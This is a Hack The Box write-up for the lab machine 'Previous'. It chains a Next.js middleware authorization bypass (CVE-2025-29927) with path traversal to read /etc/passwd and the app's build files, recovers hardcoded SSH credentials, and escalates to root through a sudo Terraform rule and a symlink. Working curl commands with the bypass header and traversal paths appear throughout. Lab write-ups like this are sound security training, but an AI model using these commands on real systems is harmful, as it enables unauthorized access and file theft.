Skip to main content
HTB: Previous
  1. Posts/

HTB: Previous

Table of Contents

Introduction
#

Previous starts with empty-looking website and sign in page for some beta access. I can abuse the authorization bypass in Next.js to read files and discover credentials in app built folder. To get root I can use vulnerability in Terraform plugin.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.34.207
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is http://previous.htb/, add previous.htb to /etc/hosts.

Web - TCP 80
#

The page is pretty empty:

Web1

Both buttons lead to login page:

Web2

Without any credentials it is better to move on for now.

Subdomain emun
#

As I have the domain name, I will try to find any available subdomains of previous.htb:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://previous.htb/ -H 'Host: FUZZ.previous.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.previous.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [220561/220561] :: Job [1/1] :: 1250 req/sec :: Duration: [0:03:32] :: Errors: 0 ::

That found nothing.

Directory bruteforce
#

Also returns nothing useful, everything points to /api/auth/signin:

└─$ feroxbuster -u http://previous.htb --dont-extract-links
                                                                                                                                    
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://previous.htb
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
200      GET        1l      407w     5493c http://previous.htb/
307      GET        1l        1w       36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
307      GET        1l        1w       35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200      GET        1l      179w     3481c http://previous.htb/signin
307      GET        1l        1w       39c http://previous.htb/api-doc => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-doc
307      GET        1l        1w       36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307      GET        1l        1w       40c http://previous.htb/api_test => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_test
307      GET        1l        1w       37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307      GET        1l        1w       36c http://previous.htb/api3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi3
307      GET        1l        1w       36c http://previous.htb/api2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi2
307      GET        1l        1w       36c http://previous.htb/api4 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi4
307      GET        1l        1w       40c http://previous.htb/docstore => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstore
307      GET        1l        1w       41c http://previous.htb/docsearch => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsearch
[####################] - 2m     30000/30000   0s      found:13      errors:0      
[####################] - 2m     30000/30000   331/s   http://previous.htb/   

CVE-2025-29927
#

Next option is to look for vulnerabilities in the system itself

Googling for Next.js 15.2.2 CVE (Version from Wappalyzer) points to towards CVE-2025-29927

Next.js is a React framework for building full-stack web applications. Starting in version 1.11.4 and prior to versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3, it is possible to bypass authorization checks within a Next.js application, if the authorization check occurs in middleware. If patching to a safe version is infeasible, it is recommend that you prevent external user requests which contain the x-middleware-subrequest header from reaching your Next.js application. This vulnerability is fixed in 12.3.5, 13.5.9, 14.2.25, and 15.2.3.

The it is possible to bypass authorization checks part looks promising especially as there are the redirects to /api/auth/signin.

When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next().

The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.

SOURCE - its worth a read!

Other useful sources:

Basicly, the exploit adds the x-middleware-subrequest: middleware header to bypass Next.js middleware authentication checks.

Vulnerable endpoint
#

I can use feroxbuster with the CVE-specific header to discover /api/ endpoints:

└─$ feroxbuster -u http://previous.htb/api -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
                                                                                                                                    
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher πŸ€“                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            β”‚ http://previous.htb/api
 πŸš€  Threads               β”‚ 50
 πŸ“–  Wordlist              β”‚ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 πŸ‘Œ  Status Codes          β”‚ All Status Codes!
 πŸ’₯  Timeout (secs)        β”‚ 7
 🦑  User-Agent            β”‚ feroxbuster/2.11.0
 πŸ’‰  Config File           β”‚ /etc/feroxbuster/ferox-config.toml
 🀯  Header                β”‚ x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
 πŸ”Ž  Extract Links         β”‚ true
 🏁  HTTP methods          β”‚ [GET]
 πŸ”ƒ  Recursion Depth       β”‚ 4
 πŸŽ‰  New Version Available β”‚ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menuβ„’
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
400      GET        1l        2w       28c http://previous.htb/api/download
[####################] - 2m     30000/30000   0s      found:1       errors:0      
[####################] - 2m     30000/30000   281/s   http://previous.htb/api/   

Discovered /api/download endpoint (returned 400 instead of 307 redirect)

For download I will most likely need some parameters, I can use ffuf to attemp to brute-force them:

└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://previous.htb/api/download?FUZZ=test' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all -fs 28

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?FUZZ=test
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 28
________________________________________________

example                 [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 276ms]
:: Progress: [6453/6453] :: Job [1/1] :: 287 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

One parameter was discovered - example

On the second run I found better way,after the authentication bypass I could check http://previous.htb/docs/examples which contained links to /api/download?example=<filename> and I could have saved all this brute-force business.

PoC
#

When I attempt to use curl with the parameter I get this:

└─$ curl 'http://previous.htb/api/download?example=test' -v                                                                        
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.207
*   Trying 10.129.34.207:80...
* Connected to previous.htb (10.129.34.207) port 80
* using HTTP/1.x
> GET /api/download?example=test HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.14.1
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 307 Temporary Redirect
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 08 Jan 2026 10:43:54 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< location: /api/auth/signin?callbackUrl=%2Fapi%2Fdownload%3Fexample%3Dtest
< 
* Connection #0 to host previous.htb left intact
/api/auth/signin?callbackUrl=%2Fapi%2Fdownload%3Fexample%3Dtest 

Response: 307 Temporary Redirect to /api/auth/signin

Adding the header changes to output to:

└─$ curl 'http://previous.htb/api/download?example=test' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' -v
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.34.207
*   Trying 10.129.34.207:80...
* Connected to previous.htb (10.129.34.207) port 80
* using HTTP/1.x
> GET /api/download?example=test HTTP/1.1
> Host: previous.htb
> User-Agent: curl/8.14.1
> Accept: */*
> X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
> 
* Request completely sent off
< HTTP/1.1 404 Not Found
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 08 Jan 2026 10:41:35 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< ETag: "c8wflmak5q"
< Vary: Accept-Encoding
< 
* Connection #0 to host previous.htb left intact
{"error":"File not found"}    

This is confirmation of the CVE!

  • Without the header: I got redirected to /api/auth/signin - authentication working as intended
  • With the vulnerable header: I bypassed authentication and got a 404 File not found response instead of a redirect - proving the endpoint is now accessible without auth

The X-Middleware-Subrequest header with multiple colons tricks Next.js middleware into thinking it’s an internal subrequest, causing it to skip authentication checks.

Jeremy credentials
#

Now that I have confirmed the bypass, I can try common paths: ../../etc/passwd, config files, application source, etc.

└─$ curl 'http://previous.htb/api/download?example=../../../etc/passwd' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'   
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

/etc/passwd is available, I can read internal files!

First, I check /proc/self/environto see where I am:

└─$ curl 'http://previous.htb/api/download?example=../../../proc/self/environ' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider 
Warning: "--output <FILE>" to save to a file.

└─$ curl 'http://previous.htb/api/download?example=../../../proc/self/environ' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' --output -
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production  
  1. Working Directory: PWD=/app - The application runs from /app
  2. User Context: HOME=/home/nextjs - Runs as nextjs user
  3. Node Version: 18.20.8
  4. Production Mode: NODE_ENV=production

Next, I know how typical next app file structure should look like, something like this:

nextjs-app/ 
β”œβ”€β”€ .next/
β”‚ β”œβ”€β”€ server/ 
β”‚ └── static/ 
β”œβ”€β”€ public/
β”‚ β”œβ”€β”€ favicon.ico 
β”‚ β”œβ”€β”€ images/ 
β”œβ”€β”€ src/
β”‚ β”œβ”€β”€ app/ 
β”‚ β”œβ”€β”€ components/ 
β”‚ β”‚ β”œβ”€β”€ ui/ 
β”‚ β”œβ”€β”€ lib/
β”‚ β”‚ β”œβ”€β”€ db.ts 
β”‚ β”‚ β”œβ”€β”€ auth.ts 
β”‚ β”‚ └── utils.ts 
β”‚ β”œβ”€β”€ types/
β”‚ β”‚ └── index.ts 
β”‚ └── config/
β”‚ └── site.ts 
β”œβ”€β”€ node_modules/
β”œβ”€β”€ .env
β”œβ”€β”€ .env.local
β”œβ”€β”€ .gitignore 
β”œβ”€β”€ next.config.js 
β”œβ”€β”€ package.json 
β”œβ”€β”€ package-lock.json 
β”œβ”€β”€ tsconfig.json 
└── README.md

With .gitignore and .env being the most interesting (.gitignore to check what dev does not want others to see and .env for some sweet variables).

I did not find .gitignore but there was a secret key for the application much in .env, I could forge cookie with that, but there was another way. There is a .next folder - the build output directory - and it has a file routes-manifest.json that holds the next step.

The routes-manifest.json file is a build-time generated configuration file that contains Next.js routing metadata. It’s created during the next build process and tells the Next.js server how to handle different types of routes.
└─$ curl 'http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware'           
{
  "version": 3,
  "pages404": true,
  "caseSensitive": false,
  "basePath": "",
  "redirects": [
    {
      "source": "/:path+/",
      "destination": "/:path+",
      "internal": true,
      "statusCode": 308,
      "regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
    }
  ],
  "headers": [],
  "dynamicRoutes": [
    {
      "page": "/api/auth/[...nextauth]",
      "regex": "^/api/auth/(.+?)(?:/)?$",
      "routeKeys": {
        "nxtPnextauth": "nxtPnextauth"
      },
      "namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
    },
    ...<SNIP>...
  ],
  "staticRoutes": [
	...<SNIP>...
    {
      "page": "/signin",
      "regex": "^/signin(?:/)?$",
      "routeKeys": {},
      "namedRegex": "^/signin(?:/)?$"
    }
  ],
  "dataRoutes": [],
  "rsc": {
    "header": "RSC",
    "varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
    "prefetchHeader": "Next-Router-Prefetch",
    "didPostponeHeader": "x-nextjs-postponed",
    "contentTypeHeader": "text/x-component",
    "suffix": ".rsc",
    "prefetchSuffix": ".prefetch.rsc",
    "prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
    "prefetchSegmentSuffix": ".segment.rsc",
    "prefetchSegmentDirSuffix": ".segments"
  },
  "rewriteHeaders": {
    "pathHeader": "x-nextjs-rewritten-path",
    "queryHeader": "x-nextjs-rewritten-query"
  },
  "rewrites": []
}      

From this file I get information about ALL endpoints, the most interesting of all was /api/auth/[...nextauth]

Since the /api/auth/[...nextauth] ias a dynamic route, I can infer that the corresponding execution logic must be in the pages subdirectory of the server build. That is where Next.js bundles API Route handlers into JavaScript files.

└─$ curl 'http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' -H 'X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware' 
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})(); 

The output looks like gibberish, it is minified, compiled JavaScript code for the site’s authentication logic.

To get the original, or at least close enough vesion I used Prettier tool:

"use strict";
(() => {
  var e = {};
  ((e.id = 651),
    (e.ids = [651]),
    (e.modules = {
      3480: (e, n, r) => {
        e.exports = r(5600);
      },
      5600: (e) => {
        e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");
      },
      6435: (e, n) => {
        Object.defineProperty(n, "M", {
          enumerable: !0,
          get: function () {
            return function e(n, r) {
              return r in n
                ? n[r]
                : "then" in n && "function" == typeof n.then
                  ? n.then((n) => e(n, r))
                  : "function" == typeof n && "default" === r
                    ? n
                    : void 0;
            };
          },
        });
      },
      8667: (e, n) => {
        Object.defineProperty(n, "A", {
          enumerable: !0,
          get: function () {
            return r;
          },
        });
        var r = (function (e) {
          return (
            (e.PAGES = "PAGES"),
            (e.PAGES_API = "PAGES_API"),
            (e.APP_PAGE = "APP_PAGE"),
            (e.APP_ROUTE = "APP_ROUTE"),
            (e.IMAGE = "IMAGE"),
            e
          );
        })({});
      },
      9832: (e, n, r) => {
        (r.r(n),
          r.d(n, { config: () => l, default: () => P, routeModule: () => A }));
        var t = {};
        (r.r(t), r.d(t, { default: () => p }));
        var a = r(3480),
          s = r(8667),
          i = r(6435);
        let u = require("next-auth/providers/credentials"),
          o = {
            session: { strategy: "jwt" },
            providers: [
              r.n(u)()({
                name: "Credentials",
                credentials: {
                  username: { label: "User", type: "username" },
                  password: { label: "Password", type: "password" },
                },
                authorize: async (e) =>
                  e?.username === "jeremy" &&
                  e.password ===
                    (process.env.ADMIN_SECRET ??
                      "MyNameIsJeremyAndILovePancakes")
                    ? { id: "1", name: "Jeremy" }
                    : null,
              }),
            ],
            pages: { signIn: "/signin" },
            secret: process.env.NEXTAUTH_SECRET,
          },
          d = require("next-auth"),
          p = r.n(d)()(o),
          P = (0, i.M)(t, "default"),
          l = (0, i.M)(t, "config"),
          A = new a.PagesAPIRouteModule({
            definition: {
              kind: s.A.PAGES_API,
              page: "/api/auth/[...nextauth]",
              pathname: "/api/auth/[...nextauth]",
              bundlePath: "",
              filename: "",
            },
            userland: t,
          });
      },
    }));
  var n = require("../../../webpack-api-runtime.js");
  n.C(e);
  var r = n((n.s = 9832));
  module.exports = r;
})();

In the human-readable vesion there is what I hoped for, set of credentials: jeremy:MyNameIsJeremyAndILovePancakes

I can use those to SSH in:

└─$ ssh jeremy@10.129.34.207
jeremy@10.129.34.207's password: 

<SNIP>

jeremy@previous:~$ ls
docker  user.txt
jeremy@previous:~$ cat user.txt 
*user flag*

Root
#

Check sudo -l

jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
Terraform is an infrastructure as code tool that lets you build, change, and version infrastructure safely and efficiently. This includes low-level components like compute instances, storage, and networking; and high-level components like DNS entries and SaaS features.

First, check what is in the /opt/examples folder

jeremy@previous:~$ ls /opt/examples/
main.tf  terraform.tfstate
jeremy@previous:~$ cat /opt/examples/main.tf 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Plan
#

From sudoers, env_reset is disabled:

!env_reset, env_delete+=PATH

This means environment variables are preserved, including TF_VAR_source_path

Terraform automatically loads variables from environment variables.

I can override source_path even though the sudo command is fixed.

The validation is path-string based:

condition = strcontains(var.source_path, "/root/examples/") &&
           !strcontains(var.source_path, "..")

Must contain /root/examples/, can not contain ..

It does not prevent symlinks.

The custom provider is almost certainly doing privileged file access:

resource "examples_example" "example" {
  source_path = var.source_path
}

Since Terraform is running as root, the provider can read /root/root.txt.

Exploit
#

  1. Create a symlink:
jeremy@previous: ln -s /root/root.txt /tmp/root/examples/link
jeremy@previous:/tmp/root/examples$ ls -la
total 8
drwxrwxr-x 2 jeremy jeremy 4096 Jan  8 12:37 .
drwxrwxr-x 3 jeremy jeremy 4096 Jan  8 12:37 ..
lrwxrwxrwx 1 jeremy jeremy   14 Jan  8 12:37 link -> /root/root.txt

This passes the validation - no .., contains /root/examples

  1. Override the Terraform variable via environment
jeremy@previous:/tmp/root/examples$ export TF_VAR_source_path="/tmp/root/examples/link"
  1. Run Terraform as root
jeremy@previous:/tmp/root/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply
β•·
β”‚ Warning: Provider development overrides are in effect
β”‚ 
β”‚ The following provider development overrides are set in the CLI configuration:
β”‚  - previous.htb/terraform/examples in /usr/local/go/bin
β”‚ 
β”‚ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
β”‚ incompatible with published releases.
β•΅
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following
symbols:
-/+ destroy and then create replacement

Terraform will perform the following actions:

  # examples_example.example must be replaced
-/+ resource "examples_example" "example" {
      ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link" # forces replacement
      ~ id               = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link"
      ~ source_path      = "/root/examples/hello-world.ts" -> "/tmp/root/examples/link" # forces replacement
    }

Plan: 1 to add, 0 to change, 1 to destroy.

Changes to Outputs:
  ~ destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts" -> "/home/jeremy/docker/previous/public/examples/link"

Do you want to perform these actions?
  Terraform will perform the actions described above.
  Only 'yes' will be accepted to approve.

  Enter a value: yes

examples_example.example: Destroying... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]
examples_example.example: Destruction complete after 0s
examples_example.example: Creating...
examples_example.example: Creation complete after 0s [id=/home/jeremy/docker/previous/public/examples/link]

Apply complete! Resources: 1 added, 0 changed, 1 destroyed.                                                                         
Outputs:                                                                                                                            
destination_path = "/home/jeremy/docker/previous/public/examples/link" 
  1. Read the output path
jeremy@previous:/tmp/root/examples$ cat /home/jeremy/docker/previous/public/examples/link
af2075..*ROOT_FLAG*...b0f7646c

And that is the FLAG!

Be the root
#

To get root shell I can do something similar:

Create a SUID root shell
#

  1. Copy /bin/bash via symlink

  2. Run Terraform

  3. Make it SUID

  4. Pop root shell

Author
~